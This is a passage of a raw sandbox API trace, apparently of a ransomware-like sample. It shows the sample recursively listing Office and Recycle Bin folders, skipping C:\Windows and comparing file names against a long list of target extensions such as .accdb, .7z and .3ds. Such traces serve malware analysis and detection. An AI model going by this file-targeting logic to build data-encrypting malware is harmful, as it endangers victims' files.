ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.788] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="SIGNED~1.CER")) returned 1 [0050.789] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0050.789] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13168 | out: hHeap=0x5a0000) returned 1 [0050.789] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0050.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0050.792] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.793] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="SIGNED~1.CER")) returned 1 [0050.793] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0050.793] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13168 | out: hHeap=0x5a0000) returned 1 [0050.793] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1 [0050.793] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0050.793] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.793] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Management.cer", cAlternateFileName="MANAGE~1.CER")) returned 1 [0050.793] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0050.794] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13168 | out: hHeap=0x5a0000) returned 1 [0050.794] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 0 [0050.794] FindClose (in: hFindFile=0x3f02348 | out: hFindFile=0x3f02348) returned 1 [0050.794] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3ef1060 | out: hHeap=0x5a0000) returned 1 [0050.794] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0050.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02348 [0050.796] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.796] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0050.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0050.798] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.798] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", cAlternateFileName="VERISI~1.CER")) returned 1 [0052.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0052.614] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.614] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.614] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0052.614] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3ef1060 | out: hHeap=0x5a0000) returned 1 [0052.614] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42b900, ftCreationTime.dwHighDateTime=0x1c9d747, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a42b900, ftLastWriteTime.dwHighDateTime=0x1c9d747, nFileSizeHigh=0x0, nFileSizeLow=0x17e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterApplicationDescriptors.xml", cAlternateFileName="STARTE~1.XML")) returned 1 [0057.579] FindNextFileW (in: hFindFile=0x3f02448, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.579] FindNextFileW (in: hFindFile=0x3f02448, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.SLV", cAlternateFileName="ACCESS~1.SLV")) returned 1 [0057.581] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.581] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9103, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0066.385] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.385] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0066.386] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.386] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0066.405] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.405] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 Thread: id = 18 os_tid = 0xa04 [0039.439] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36c0740 [0039.440] lstrlenW (lpString="C:") returned 2 [0039.440] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3a8fd00 | out: lpFindFileData=0x3a8fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x6931b8 [0039.440] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0039.440] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0039.440] lstrlenW (lpString="$Recycle.Bin") returned 12 [0039.440] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0039.440] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36d0748 [0039.440] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0039.440] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6931f8 [0039.441] FindNextFileW (in: hFindFile=0x6931f8, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.441] FindNextFileW (in: hFindFile=0x6931f8, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0039.441] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0039.441] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0039.441] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0039.441] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0039.441] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.441] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0039.441] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x694240 [0039.441] FindNextFileW (in: hFindFile=0x694240, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.442] FindNextFileW (in: hFindFile=0x694240, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0039.442] lstrlenW (lpString="desktop.ini") returned 11 [0039.442] lstrlenW (lpString=".1cd") returned 4 [0039.442] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0039.442] lstrlenW (lpString=".3ds") returned 4 [0039.442] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0039.442] lstrlenW (lpString=".3fr") returned 4 [0039.442] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0039.442] lstrlenW (lpString=".3g2") returned 4 [0039.442] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0039.442] lstrlenW (lpString=".3gp") returned 4 [0039.442] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0039.442] lstrlenW (lpString=".7z") returned 3 [0039.442] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0039.442] lstrlenW (lpString=".accda") returned 6 [0039.442] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0039.442] lstrlenW (lpString=".accdb") returned 6 [0039.442] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0039.442] lstrlenW (lpString=".accdc") returned 6 [0039.442] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0039.442] lstrlenW (lpString=".accde") returned 6 [0039.442] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0039.442] lstrlenW (lpString=".accdt") returned 6 [0039.442] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0039.442] lstrlenW (lpString=".accdw") returned 6 [0039.442] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0039.442] lstrlenW (lpString=".adb") returned 4 [0039.442] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0039.442] lstrlenW (lpString=".adp") returned 4 [0039.442] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0039.442] lstrlenW (lpString=".ai") returned 3 [0039.443] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0039.443] lstrlenW (lpString=".ai3") returned 4 [0039.443] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0039.443] lstrlenW (lpString=".ai4") returned 4 [0039.443] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0039.443] lstrlenW (lpString=".ai5") returned 4 [0039.443] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0039.443] lstrlenW (lpString=".ai6") returned 4 [0039.443] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0039.443] lstrlenW (lpString=".ai7") returned 4 [0039.443] lstrcmpiW (lpString1=".ai7", lpString2=".ini") 